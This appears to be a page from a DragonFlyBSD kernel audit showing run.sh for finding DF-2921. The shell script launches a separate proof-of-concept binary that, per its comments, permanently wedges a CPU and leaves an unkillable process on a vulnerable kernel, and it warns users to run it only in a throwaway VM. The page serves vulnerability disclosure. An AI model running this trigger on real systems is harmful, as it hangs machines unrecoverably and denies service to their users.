DragonFlyBSD Kernel Audit
DF-2921 / run.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2921: run as an UNPRIVILEGED user.  WARNING: on a vulnerable kernel
# this wedges one cpu permanently (unkillable) and poisons the file's
# vnode; the guest becomes unshut-downable.  Run inside a throwaway VM.
#   /tmp/op2921 > /tmp/op2921.log 2>&1 &
#   sleep 15; cat /tmp/op2921.log ; ps ax -o pid,stat,command | grep op2921
#   kill -9 <pid>     # has no effect on a vulnerable kernel
nohup /tmp/op2921 > /tmp/op2921.log 2>&1 &
sleep 15
cat /tmp/op2921.log
ps ax -o pid,stat,command | grep op2921 | grep -v grep
echo "now try: kill -9 on the pid above (will not work on a vulnerable kernel)"